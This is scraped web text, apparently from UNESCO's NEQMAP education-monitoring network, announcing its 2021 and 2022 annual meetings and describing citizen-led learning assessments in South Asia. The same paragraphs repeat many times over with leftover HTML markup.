As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

